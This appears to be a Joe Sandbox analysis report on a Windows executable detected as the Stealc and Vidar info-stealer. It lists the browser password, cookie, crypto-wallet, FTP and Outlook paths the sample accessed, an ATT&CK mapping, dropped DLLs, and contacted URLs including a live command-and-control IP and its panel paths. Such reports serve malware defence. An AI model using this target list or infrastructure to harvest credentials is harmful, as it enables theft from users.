Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2065392111.00000000015A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\.
Source: file.exe, 00000000.00000002.2084087248.0000000023902000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\.

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 7468, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.b50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2065392111.000000000154E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2063456303.0000000000B51000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1693251451.00000000051A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7468, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7468, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C720C40 sqlite3_bind_zeroblob,	0_2_6C720C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C720D60 sqlite3_bind_parameter_name,	0_2_6C720D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C648EA0 sqlite3_clear_bindings,	0_2_6C648EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C720B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6C720B40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C646410 bind,WSAGetLastError,	0_2_6C646410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C646070 PR_Listen,	0_2_6C646070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	0_2_6C64C050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64C030 sqlite3_bind_parameter_count,	0_2_6C64C030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6460B0 listen,WSAGetLastError,	0_2_6C6460B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D22D0 sqlite3_bind_blob,	0_2_6C5D22D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6463C0 PR_Bind,	0_2_6C6463C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C649400 sqlite3_bind_int64,	0_2_6C649400
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6494F0 sqlite3_bind_text16,	0_2_6C6494F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6494C0 sqlite3_bind_text,	0_2_6C6494C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C649480 sqlite3_bind_null,	0_2_6C649480

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	2 Process Injection	1 Masquerading	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Email Collection	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	23 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Extra Window Memory Injection	1 Disable or Modify Tools	Security Account Manager	23 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	4 Data from Local System	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Process Injection	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	236 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Extra Window Memory Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	41%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\chrome.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
plus.l.google.com	0%	Virustotal	Browse
www.google.com	0%	Virustotal	Browse
play.google.com	0%	Virustotal	Browse
apis.google.com	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://www.broofa.com	0%	URL Reputation	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
https://docs.rs/getrandom#nodejs-es-module-support	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://apis.google.com	0%	URL Reputation	safe
https://domains.google.com/suggest/flow	0%	URL Reputation	safe
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
plus.l.google.com	142.250.184.206	true	false	0%, Virustotal, Browse	unknown
play.google.com	142.250.186.110	true	false	0%, Virustotal, Browse	unknown
www.google.com	142.250.186.100	true	false	0%, Virustotal, Browse	unknown
apis.google.com	unknown	unknown	false	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	true	unknown
http://185.215.113.206/746f34465cf17784/msvcp140.dll	true	unknown
http://185.215.113.206/746f34465cf17784/vcruntime140.dll	true	unknown
http://185.215.113.206/6c4adf523b719729.php	true	unknown
http://185.215.113.206/746f34465cf17784/softokn3.dll	true	unknown
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	unknown
https://www.google.com/async/newtab_promos	false	unknown
http://185.215.113.206/746f34465cf17784/freebl3.dll	true	unknown
https://play.google.com/log?format=json&hasfast=true	false	unknown
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false	unknown
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0	false	unknown
http://185.215.113.206/746f34465cf17784/mozglue.dll	true	unknown
http://185.215.113.206/746f34465cf17784/nss3.dll	true	unknown
http://185.215.113.206/746f34465cf17784/sqlite3.dll	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1897503351.0000000023848000.00000004.00000020.00020000.00000000.sdmp, CAFHIJDH.0.dr	false	URL Reputation: safe URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	IEHCAKKJDBKKFHJJDHIIJEBAEC.0.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF	file.exe, 00000000.00000002.2063456303.0000000000C36000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1897503351.0000000023848000.00000004.00000020.00020000.00000000.sdmp, CAFHIJDH.0.dr	false	URL Reputation: safe	unknown
http://www.broofa.com	chromecache_81.3.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/6c4adf523b719729.phpcal	file.exe, 00000000.00000002.2065392111.00000000015C4000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	file.exe, 00000000.00000002.2065392111.000000000160E000.00000004.00000020.00020000.00000000.sdmp, BAAAKJDAAFBAAKEBAAKF.0.dr	false	URL Reputation: safe	unknown
https://docs.rs/getrandom#nodejs-es-module-support	file.exe, file.exe, 00000000.00000003.1693251451.00000000051CB000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2063456303.0000000000B7C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2087420565.000000006CF01000.00000002.00000001.01000000.00000007.sdmp, chrome.dll.0.dr	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.1897503351.0000000023848000.00000004.00000020.00020000.00000000.sdmp, CAFHIJDH.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/6c4adf523b719729.phprowser	file.exe, 00000000.00000002.2065392111.00000000015C4000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	file.exe, 00000000.00000002.2063456303.0000000000C36000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1888687969.000000001D7CD000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206/6c4adf523b719729.phpuEO	file.exe, 00000000.00000002.2065392111.0000000001593000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1	chromecache_80.3.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/cf	file.exe, 00000000.00000002.2065392111.00000000015A7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.phpSession	file.exe, 00000000.00000002.2065392111.00000000015C4000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	BAAAKJDAAFBAAKEBAAKF.0.dr	false		unknown
http://185.215.113.206/746f34465cf17784/softokn3.dllL	file.exe, 00000000.00000002.2065392111.00000000015C4000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.1897503351.0000000023848000.00000004.00000020.00020000.00000000.sdmp, CAFHIJDH.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/746f34465cf17784/sqlite3.dll4	file.exe, 00000000.00000002.2065392111.000000000154E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://apis.google.com	chromecache_80.3.dr, chromecache_81.3.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/6c4adf523b719729.php9B	file.exe, 00000000.00000002.2065392111.0000000001593000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.phpY	file.exe, 00000000.00000002.2065392111.0000000001593000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/746f34465cf17784/vcruntime140.dllk	file.exe, 00000000.00000002.2065392111.00000000015A7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/746f34465cf17784/freebl3.dllR	file.exe, 00000000.00000002.2065392111.00000000015D2000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://domains.google.com/suggest/flow	chromecache_80.3.dr	false	URL Reputation: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	file.exe, 00000000.00000002.2065392111.000000000160E000.00000004.00000020.00020000.00000000.sdmp, BAAAKJDAAFBAAKEBAAKF.0.dr	false		unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.2081735685.000000001D8C7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2087077164.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, 00000000.00000002.2087537762.000000006F8DD000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	file.exe, 00000000.00000002.2065392111.000000000160E000.00000004.00000020.00020000.00000000.sdmp, BAAAKJDAAFBAAKEBAAKF.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.1897503351.0000000023848000.00000004.00000020.00020000.00000000.sdmp, CAFHIJDH.0.dr	false		unknown
http://185.215.113.206/6c4adf523b719729.php/P	file.exe, 00000000.00000002.2065392111.00000000015A7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1897503351.0000000023848000.00000004.00000020.00020000.00000000.sdmp, CAFHIJDH.0.dr	false	URL Reputation: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	file.exe, 00000000.00000002.2065392111.000000000160E000.00000004.00000020.00020000.00000000.sdmp, BAAAKJDAAFBAAKEBAAKF.0.dr	false		unknown
http://185.215.113.206/6c4adf523b719729.php.	file.exe, 00000000.00000002.2065392111.00000000015D2000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	file.exe, 00000000.00000002.2063456303.0000000000C36000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1888687969.000000001D7CD000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206/6c4adf523b719729.phplu	file.exe, 00000000.00000002.2065392111.00000000015D2000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm	file.exe, 00000000.00000002.2063456303.0000000000C36000.00000040.00000001.01000000.00000003.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.php9	file.exe, 00000000.00000002.2065392111.00000000015D2000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1897503351.0000000023848000.00000004.00000020.00020000.00000000.sdmp, CAFHIJDH.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	IEHCAKKJDBKKFHJJDHIIJEBAEC.0.dr	false	URL Reputation: safe	unknown
https://plus.google.com	chromecache_80.3.dr	false		unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.1897503351.0000000023848000.00000004.00000020.00020000.00000000.sdmp, CAFHIJDH.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/6c4adf523b719729.phpion:	file.exe, 00000000.00000002.2063456303.0000000000B7C000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.2065392111.000000000160E000.00000004.00000020.00020000.00000000.sdmp, BAAAKJDAAFBAAKEBAAKF.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/6c4adf523b719729.php&	file.exe, 00000000.00000002.2065392111.00000000015A7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206FID	file.exe, 00000000.00000002.2063456303.0000000000B7C000.00000040.00000001.01000000.00000003.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.phpIJECGDGCBKECAKFBG	file.exe, 00000000.00000002.2065392111.00000000015A7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org	IEHCAKKJDBKKFHJJDHIIJEBAEC.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206	file.exe, 00000000.00000002.2065392111.000000000154E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2063456303.0000000000C36000.00000040.00000001.01000000.00000003.sdmp	true		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.1897503351.0000000023848000.00000004.00000020.00020000.00000000.sdmp, CAFHIJDH.0.dr	false	URL Reputation: safe	unknown
https://clients6.google.com	chromecache_80.3.dr	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.186.110	play.google.com	United States	15169	GOOGLEUS	false
142.250.186.100	www.google.com	United States	15169	GOOGLEUS	false
142.250.184.206	plus.l.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.4
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1543562
Start date and time:	2024-10-28 06:26:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 51s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@17/37@6/7
EGA Information:	Failed
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
